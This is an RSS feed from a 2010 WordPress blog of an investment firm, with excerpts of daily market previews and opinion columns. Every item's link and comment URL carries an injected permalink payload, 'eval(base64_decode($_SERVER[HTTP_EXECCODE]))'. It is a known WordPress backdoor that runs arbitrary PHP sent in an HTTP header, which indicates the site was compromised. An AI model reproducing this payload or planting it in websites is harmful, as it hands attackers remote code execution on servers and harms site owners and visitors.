<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>

<channel>
	<title>BWS Capital Partners, LLC</title>
	<atom:link href="http://bwscap.com/blog2/?feed=rss2" rel="self" type="application/rss+xml" />
	<link>http://bwscap.com/blog2</link>
	<description>Global Investment Portal</description>
	<pubDate>Tue, 31 Aug 2010 19:23:09 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.5.1</generator>
	<language>en</language>
			<item>
		<title>Today Market Preview</title>
		<link>http://bwscap.com/blog2/2010/08/31/today-market-preview-55/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/</link>
		<comments>http://bwscap.com/blog2/2010/08/31/today-market-preview-55/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#comments</comments>
		<pubDate>Tue, 31 Aug 2010 19:23:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Daily Market Preview]]></category>

		<guid isPermaLink="false">http://bwscap.com/blog2/?p=772</guid>
		<description><![CDATA[Next move would be?
At the U.S. Federal Reserve&#8217;s symposium in Jackson Hole, Wyo., monetary-policy experts indicated that they are unsure of their next step, with interest rates near zero for quite some time. Additionally, they differed greatly on how to manage central banks once the economy returns to &#8220;normal.&#8221;
Revoked
Finansinspektionen, the financial supervisor in Sweden, has [...]]]></description>
		<wfw:commentRss>http://bwscap.com/blog2/2010/08/31/today-market-preview-55/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Today Market Preview</title>
		<link>http://bwscap.com/blog2/2010/08/30/today-market-preview-54/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/</link>
		<comments>http://bwscap.com/blog2/2010/08/30/today-market-preview-54/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 30 Aug 2010 16:43:46 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Daily Market Preview]]></category>

		<guid isPermaLink="false">http://bwscap.com/blog2/?p=771</guid>
		<description><![CDATA[Ramping up supports
The Bank of Japan will bolster the amount of funds in a bank-loan program by 10 trillion yen, as it boosts monetary stimulus for the first time in months. The decision was made at an emergency meeting of the central bank, which was under pressure from the government to act. The focus is [...]]]></description>
		<wfw:commentRss>http://bwscap.com/blog2/2010/08/30/today-market-preview-54/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Today Market Preview</title>
		<link>http://bwscap.com/blog2/2010/08/27/today-market-preview-53/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/</link>
		<comments>http://bwscap.com/blog2/2010/08/27/today-market-preview-53/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 27 Aug 2010 21:12:15 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Daily Market Preview]]></category>

		<guid isPermaLink="false">http://bwscap.com/blog2/?p=770</guid>
		<description><![CDATA[Eyes on him
Investors worldwide are waiting for Federal Reserve Chairman Ben Bernanke to indicate during a speech in Jackson Hole, Wyo., what the central bank plans to do if the U.S. economy weakens further. Economists said the Fed is far from being out of options to bolster the recovery, and some said they hope Bernanke [...]]]></description>
		<wfw:commentRss>http://bwscap.com/blog2/2010/08/27/today-market-preview-53/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Today Market Preview</title>
		<link>http://bwscap.com/blog2/2010/08/26/today-market-preview-52/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/</link>
		<comments>http://bwscap.com/blog2/2010/08/26/today-market-preview-52/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 26 Aug 2010 21:13:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Daily Market Preview]]></category>

		<guid isPermaLink="false">http://bwscap.com/blog2/?p=769</guid>
		<description><![CDATA[Free to take risk
Regulatory reform will not prevent U.S. banks from making the kind of high-risk deals that drove the economy into the severest recession since the 1930s, according to The New York Times. Banks are still free to take high-risk bets on behalf of clients, based on a mistaken belief that losses would not [...]]]></description>
		<wfw:commentRss>http://bwscap.com/blog2/2010/08/26/today-market-preview-52/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Today Market Preview</title>
		<link>http://bwscap.com/blog2/2010/08/25/today-market-preview-51/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/</link>
		<comments>http://bwscap.com/blog2/2010/08/25/today-market-preview-51/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 25 Aug 2010 17:49:29 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Daily Market Preview]]></category>

		<guid isPermaLink="false">http://bwscap.com/blog2/?p=768</guid>
		<description><![CDATA[Plunging
Sales of existing U.S. homes fell to their lowest level since 1999 in July, raising concern that the economy is weakening and headed into a long period of stagnation or a double-dip recession. The National Association of Realtors said home sales dropped 27.2% between June and July, a bigger decline than expected. For single-family houses, [...]]]></description>
		<wfw:commentRss>http://bwscap.com/blog2/2010/08/25/today-market-preview-51/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Today Market Preview</title>
		<link>http://bwscap.com/blog2/2010/08/23/today-market-preview-50/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/</link>
		<comments>http://bwscap.com/blog2/2010/08/23/today-market-preview-50/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#comments</comments>
		<pubDate>Mon, 23 Aug 2010 15:48:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Daily Market Preview]]></category>

		<guid isPermaLink="false">http://bwscap.com/blog2/?p=767</guid>
		<description><![CDATA[Bond bubble
Buyers&#8217; appetite for 10-year U.S. Treasurys has grown so much that experts are starting to worry about a government-bond bubble. The flight to Treasurys might indicate that investors are getting carried away with their enthusiasm, similar to investors&#8217; infatuation with technology stocks in 2000, analysts said. After yielding nearly 4% in April, the 10-year [...]]]></description>
		<wfw:commentRss>http://bwscap.com/blog2/2010/08/23/today-market-preview-50/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Today Market Preview</title>
		<link>http://bwscap.com/blog2/2010/08/20/today-market-preview-49/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/</link>
		<comments>http://bwscap.com/blog2/2010/08/20/today-market-preview-49/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#comments</comments>
		<pubDate>Fri, 20 Aug 2010 16:18:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Daily Market Preview]]></category>

		<guid isPermaLink="false">http://bwscap.com/blog2/?p=766</guid>
		<description><![CDATA[On track for more loan
The European Commission said Greece is ahead in meeting obligations for reducing its deficit and making structural changes. Commissioners expect finance ministers from across the euro region to approve the next loan installment for Greece in early September, said Amadeu Altafaj, a representative for the commission.
Can’t shake it off
U.S. Treasury Secretary [...]]]></description>
		<wfw:commentRss>http://bwscap.com/blog2/2010/08/20/today-market-preview-49/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Today Market Preview</title>
		<link>http://bwscap.com/blog2/2010/08/19/today-market-preview-48/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/</link>
		<comments>http://bwscap.com/blog2/2010/08/19/today-market-preview-48/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#comments</comments>
		<pubDate>Thu, 19 Aug 2010 16:10:09 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Daily Market Preview]]></category>

		<guid isPermaLink="false">http://bwscap.com/blog2/?p=765</guid>
		<description><![CDATA[Upping the borrowing cost
The risk premium demanded by buyers of eurozone sovereign debt has been tightening since May, but concern about a decelerating world economy raises doubt about a continuation of the trend, economists said. The appetite of sovereign-debt buyers will be put to the test in September, when the volume of government offerings is [...]]]></description>
		<wfw:commentRss>http://bwscap.com/blog2/2010/08/19/today-market-preview-48/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Mirror Mirror on the Wall, Who do I See?</title>
		<link>http://bwscap.com/blog2/2010/08/18/mirror-mirror-on-the-wall-who-do-i-see/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/</link>
		<comments>http://bwscap.com/blog2/2010/08/18/mirror-mirror-on-the-wall-who-do-i-see/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 18 Aug 2010 21:05:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[My $0.02]]></category>

		<guid isPermaLink="false">http://bwscap.com/blog2/?p=764</guid>
		<description><![CDATA[
The year 2010 so far has been, yet another, catch-me-if-you-can promise year. It is a fleeting memory of promised economic recovery and we, in the corporate world, are still desperately gasping for some economic air.
Despite all the softness of the economy, the chaotic marketplace and the still-turtled-up consumer have given us a precious moment or [...]]]></description>
		<wfw:commentRss>http://bwscap.com/blog2/2010/08/18/mirror-mirror-on-the-wall-who-do-i-see/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/feed/</wfw:commentRss>
		</item>
		<item>
		<title>TWO WAYS OF DOING THE RIGHT THING FOR THE MUSLIM WORLD</title>
		<link>http://bwscap.com/blog2/2010/08/18/two-ways-of-doing-the-right-thing-for-the-muslim-world/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/</link>
		<comments>http://bwscap.com/blog2/2010/08/18/two-ways-of-doing-the-right-thing-for-the-muslim-world/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/#comments</comments>
		<pubDate>Wed, 18 Aug 2010 20:54:47 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Pacific Perspective]]></category>

		<guid isPermaLink="false">http://bwscap.com/blog2/?p=763</guid>
		<description><![CDATA[August 18, 2010
BY TOM PLATE

NEW YORK CITY &#8212; What’s the one major issue the West absolutely and totally must get right in the years ahead? If the obvious answer is not peaceful international relations with a fast-rising and increasingly assertive China, then it has to be the West’s ever-more complicated relationship with the world’s Muslims.
And [...]]]></description>
		<wfw:commentRss>http://bwscap.com/blog2/2010/08/18/two-ways-of-doing-the-right-thing-for-the-muslim-world/%&#038;({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&#038;%/feed/</wfw:commentRss>
		</item>
	</channel>
</rss>
